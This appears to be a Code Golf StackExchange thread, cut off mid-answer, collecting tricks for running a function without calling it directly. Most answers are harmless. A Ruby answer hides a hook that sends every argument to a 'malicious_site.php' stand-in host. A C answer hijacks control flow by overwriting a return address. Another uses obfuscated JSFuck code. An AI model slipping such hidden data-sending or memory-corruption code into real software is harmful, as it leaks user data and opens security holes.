text:
Call a method without calling it
Inspired by a now deleted StackOverflow question. Can you come up with a way to get a particular method executed, without explicitly calling it? The more indirect it is, the better.
Here's what I mean, exactly (C used just for exemplification, all languages accepted):
// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Original question:

Here on this site you need to specify an objective winning criterion to decide the winner of the challenge. I would recommend you to tag this as a popularity contest, meaning that the answer with the most upvotes will be accepted.

Got it, tagged appropriately.

+10471 ... nice

+10741 I can't stop to laugh with this.

144K rep???????

I wonder how much rep you need to overflow stack overflow?

Apparently this is a screencap from @Mysticial's account, seeing the avatar. Mysticial, could you please just click on your rep tab?!?!?!

@Doorknob Why should he? Its all coming from one answer.

@PyRulez Jon Skeet hasn't yet, so we're safe for now.

I wonder how @AlexM. got that picture, unless he is Mysticial himself.  In that case, why did he start a new account?

@user2509848 He posted that picture in the Lounge for users with less than 10k who cannot see closed questions.

What I want to know is how the hell do you generate THAT much rep???

@WallyWest Well, his top answer has over 10,000 upvotes :)

@WallyWest you write an excellent answer to a tricky question.   Try reading his.

@ColeJohnson you are terribly wrong! If you try to run this query on Jon Skeets account it will overflow!

I like how you can just use method.__call__() in Python. :P

@PyRulez Let's hope there's a cap at 2^64-1 rep, where it doesn't allow it to go any higher so it can't overflow. If so, I wonder if you get some kind of "god status" for attaining that, of if there's some sort of "extended rep" after reaching the 64-bit limit.

Would a destructor function count? In deplhi when I define a destructor it will be called by using Tobject.free which isnt really a call of function X

I am voting to close this as too broad because we require objective validity criteria for all challenges. As it stands, there is no clear way to determine the validity of a submission. Additionally, there is no specification of the behavior of a valid submission.

C
#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

When compiled with GCC, the compiler replaces printf("Goodbye!\n") with puts("Goodbye!"), which is simpler and is supposed to be equivalent. I've sneakily provided my custom puts function, so that gets called instead.

@user17752 This is actually a transformation GCC makes even at -O0. (GCC 4.8, anyway. Perhaps other versions do need some other options.)

sorry, my mistake, forgot that i was using clang on my macbook.

@user17752 Thanks, I hadn't tested with other compilers, nice to know that clang at least has an option to get the same transformation.

Congratulation! A winner is you!

Well, how is malware able to execute functions that aren't called in the code? By overflowing buffers!
#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

On my system, the return address of main happens to be stored 3 words above the first local variable. By scrambling that return address with the address of another function, main "returns" to that function. If you want to reproduce this behavior on another system, you might have to tweak 3 to another value.

Beat me to it (+1) - this is the obvious C solution.

Use <!-- language: lang-c --> two lines before your code to highlight it.

All hail @Victor, syntax highlighting hero!

@Victor is this officially documented?  If yes, where?

@ThorbjørnRavnAndersen http://meta.stackexchange.com/questions/184108/what-is-syntax-highlighting-and-how-does-it-work

Bash
#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

Exception handling. The other method call!

Python 2
>>> def func(*args):
        print('somebody called me?')

Here are some ways inspired by the other answers:

executing the code directly
>>> exec(func.func_code) # just the code, not a call
somebody called me?

This is the best way of really not calling the function.
using the destructor
>>> class X(object):pass
>>> x = X()
>>> X.__del__ = func # let  the garbage collector do the call
>>> del x
somebody called me?

Using the std I/O
>>> x.write = func # from above
>>> import sys
>>> a = sys.stderr
>>> sys.stderr = x
>>> asdjkadjls
somebody called me?
somebody called me?
somebody called me?
somebody called me?
somebody called me?
>>> sys.stderr = a # back to normality

using attribute lookups
>>> x = X() # from above
>>> x.__get__ = func
>>> X.x = x
>>> x.x # __get__ of class attributes
somebody called me?
<__main__.X object at 0x02BB1510>
>>> X.__getattr__ = func
>>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
somebody called me?
>>> X.__getattribute__ = func
>>> x.__class__ # any attribute
somebody called me?

The import mechanism
>>> __builtins__.__import__ = func
>>> import os # important module!
somebody called me?
>>> os is None
True

Well I guess that's all.. I can not import anything now. No wait..
Using the get-item brackets []
>>> class Y(dict): pass
>>> Y.__getitem__ = func
>>> d = Y()
>>> d[1] # that is easy
somebody called me?

Using global variables. My favorite!
>>> exec "hello;hello" in d # from above
somebody called me?
somebody called me?

hello is an access to d['hello']. After this the world seems gray.
Meta classes  ;)
>>> class T(type): pass
>>> T.__init__ = func
>>> class A:
    __metaclass__ = T
somebody called me?

Using iterators (you can overload any operator and use it)
>>> class X(object): pass
>>> x = X()
>>> X.__iter__ = func
>>> for i in x: pass # only once with error
somebody called me?

>>> X.__iter__ = lambda a: x
>>> X.next = func
>>> for i in x: pass # endlessly!
somebody called me?
somebody called me?
somebody called me?
...

Errors!
>>> class Exc(Exception):__init__ = func
>>> raise Exc # removed in Python 3
somebody called me?

Frameworks call you back. Almost every GUI has this functionality.
>>> import Tkinter
>>> t = Tkinter.Tk()
>>> t.after(0, func) # or QTimer.singleShot(1000, func)
>>> t.update()
somebody called me?

Execute the source string (func must be in a file)
>>> import linecache
>>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
somebody called me?

Decorators
>>> @func
def nothing():pass
sombody called me?

with pickle de-serialization (least favorites coming)
>>> import pickle # serialization
>>> def __reduce__(self):
    return func, ()
>>> X.__reduce__ = __reduce__
>>> x = X()
>>> s = pickle.dumps(x)
>>> pickle.loads(s) # this is a call but it is hidden somewhere else
somebody called me?

Using serialization
>>> import copy_reg
>>> copy_reg.pickle(X, func)
>>> pickle.dumps(x) # again a hidden call
somebody called me?

More Python answers:

using settrace
using hasattr
combining globals() and __call__ indirectly
with reprlib

Nice collection, but you forgot about threads. ;)

This answer is absurd. +1

This is python 3

Many of those examples also work with Python 3. The shown meta-class and exception-raising do not work in Python 3.

Javascript
This one uses JSFuck to do the dirty work.
function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

I think this qualifies as an explicit function call. Just a very obfuscated one.

@primo, it will be constructing a string of javascript to execute, and acquiring the Function object to call it with. But to do that, it uses implicit conversions between types; e.g. "" is a string, and [] evaluates to 0, so ""[[]] is undefined, and ""[[]]+"" is "undefined". From there you can pull out individual letters: (""[[]]+"")[[]] is "u". So it's more like a hack to call exec with arbitrary code. I think that counts?

@PhilH I understand how it works. Remove the last two parentheses: function anonymous() { x() }.

Python
import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

This sets the_function as the profiling function, causing it to be executed on each function call and return.
>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

Is this Python?

@user2509848 Yes, I forgot to mention that.

A non-C answer! I'd love to see more :D

@Johnsyweb Please see http://meta.codegolf.stackexchange.com/q/1109/9498 . There is no need to edit every single post to include syntax highlighting, especially if it barely affects the look of the code (e.g. short code).

@Quincunx: Acknowledged ☻

C#
We can abuse the DLR to always execute some code whenever you try to call any method on a class. This is slightly less cheap/obvious than solutions like delegates, reflections, static constructors, etc., because the method being executed is not only never invoked but never even referenced, not even by its name.
void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

This always prints "Ha! Tricked you!" no matter what you try to invoke on a. So I could just as easily write a.SuperCaliFragilisticExpiAlidocious() and it would do the same thing.

GNU C
#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

This is very direct, but is certainly not a call to hello_world, even though the function does execute.

Ruby
Inspired by wat.
require 'net/http'

def method_missing(*args)
    # some odd code
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

C
You can register a function to be called at the end of the program in C, if that fits your needs:
#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

Java
Tried this with java:
import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

The method secretMethodNotCalledInMain is called only by reflection, and I am not searching for anything called secretMethodNotCalledInMain (instead I am searching for anything not called main). Further, the reflective part of code is called outside the main method when the JDK's uncaught exception handler kicks in.
Here is my JVM info:
C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Here is the output of my program:
Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

I was not expecting those NullPointerExceptions being thrown from the native code to handle reflection. But, as mentioned by @johnchen902 that is because it inherits some methods from java.lang.Object and I ended up calling them on nulls.

Those NPEs are not JDK bug. They're thrown because you tried to invoke instance methods declared in java.lang.Object such as toString() with null.

@johnchen902 Oh, of course. Thank you. I edited it.

C++
One way in C++ is in the constructor and/or destructor of a static object:
struct foo {
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

I also thought of overloading new and delete, but I think three answers are enough :)

Are constructors/destructors considered "methods" in C++? In .NET and Java they're actually a different member type. You can't directly call a static ctor, even if you want to...

@Aaronaught: Nothing is considered a "method" in C++ (at least by anybody who knows what they're talking about). Constructors and destructors are member functions. They are "special" member functions though (e.g., constructors don't have names, so you can't invoke them directly).

Well, I only used that term because the OP did. I know that C/C++ and almost every other non-Java/.NET language have functions, not methods. But the salient point is that they can't be directly invoked. You could argue that an instance constructor is technically being directly invoked with new, and so it would be an interesting answer to have a way to invoke one without new. But I don't know, static constructors feels like a bit of a cheat.

@Aaronaught If you want to call a constructor on a piece of memory that's already allocated, you can write new (p) foo(). And you can destruct an object without releasing the memory via p->~foo().

C: Hello World
#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Output:
Hello World!

In order to link the method, we need printf() to be compiled somewhere in the program, but it does not have to actually be called. The printf() and main() functions are located 276 bytes apart from each other in the code segment. This value will change based on OS and compiler. You can find the actual addresses on your system with this code and then just subtract them:
printf("%d %d\n", &printf, &main);

The * before main is really confusing and unnecessary. main is a function which you cannot dereference, so it implicitly decays to a function pointer which is then dereferenced to yield a function again. You can't subtract an int from a function, so it decays to a function pointer again. You might as well write (*****main-276) ;) You probably meant to write (&main-276) or (*(main-276)) instead.

The * before main is really confusing and unnecessary. - Isn't that generally a good thing on this site?

I was under ther impression the standard said that a well-formed programm shall not use main, but can't find it now...

you explicitly call it by obfuscated reference

C (with GCC inline asm)
#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

This will cause some GCC-emitted code to end up in a different segment of the object file, effectively making control flow “fall through” the_function. Note that this does not work if GCC decides to reorder the functions, obviously. Tested with GCC 3.4.6 on MirBSD-current/i386, using -O2. (Also, it breaks debugging, compiling with -g errors out ☺)

PHP ≥5.4.0
This solution is admittedly a horrid mess, but it performs the task given to it (there was no stipulation how well it has to perform).
The function to call without calling:
function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

The solution:
function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Example:
//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Possible outputs:
6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Explanation:
When called, executeFunction() will read the contents of the currently executing file (which means this is only meant to be run from CLI, as it uses $argv), parse out the arguments and body of the specified function, hack everything back together into a new chunk of code, eval() it all, and return the result. The result being that getRandomString() is never actually called, either directly or indirectly, but the code in the function body is still executed.

Well, does creating __construct() method counts in PHP since you never call the function directly, but use new Something() instead?

@D.Kasipovic Kind of, one could argue you're directly invoking it still, just in a different way. I chose my current approach because I like to think outside of the box. I could have just registered the function as a callback to register_tick_function(), register_shutdown_function(), or spl_autoload_register() similar to @grc's Python answer, but I feel like that's 'cheating' and taking the easy way out.

Perl
sub INIT {
    print "Nothing to see here...\n";
}

Yes, that's all there is to it.  Not all subroutines are created equal.

T-SQL
It's a built in feature. Triggers for the win!
If you really want to have fun with it, create a bunch of INSTEAD OF triggers on April Fool's Day.
CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Results:
|          GREETING |
|-------------------|
| Hello, Code Golf! |

Very prank. Such lulz. Wow.
Tinker wid it on SQLFiddle.

Triggers always get me, as an application developer, I never expect them.

JavaScript
In Firefox console:
    this.toString = function(){alert('Wow')};

Then just start typing anything in console - Firefox calls .toString() multiple times when you're typing in console.
Similar approach is:
    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

C
Platform of choice is Linux. We can't call our function, so we'll have our linker do it instead:
#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

How to obtain the magic address?
We're relying on the Linux Standard Base Core Specification, which says:

.fini_array
This section holds an array of function pointers that
  contributes to a single termination array for the executable or shared
  object containing the section.

Compile the code:
gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly
Examine the address of .fini_array:
objdump -h -j .fini_array but_for_what_reason_exactly
Find the VMA of it:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

and replace that value for ADDRESS.

Haskell
In haskell if you do:
main=putStrLn "This is the main action."

It will get executed immediately without calling its name when you run it. Magic!

Haskell doesn't count. You can't call an IO action, only chain more IO actions to it or assign it somewhere.

It is the equivalent concept for IO actions.

VB6 and VBA
Not sure if this qualifies or not, because it is calling a method of a class:
This goes in a class module:
Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

And this is the "calling" code:
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

This works by swapping the function vptr's for the two Subs in the vtable for the class.

Dude, you're dangerous! Nice one!

I'd say it does qualify, because in VB6/VBA a method is a member of a class - otherwise it's a procedure ;)

Javascript
Easy, just use on___ events in JS. For example:
var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

Java
Yay, garbage collection!
public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

A version for those who will inevitably say that System.gc() is unreliable:
public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }

    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

Java
Other java answer from me. As you see in the code, it directly calls theCalledMethod, but the method notCalledMethod is executed instead.
So, in the end I am doing 2 things:

Calling a method without calling it.
Not calling a method by calling it.

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

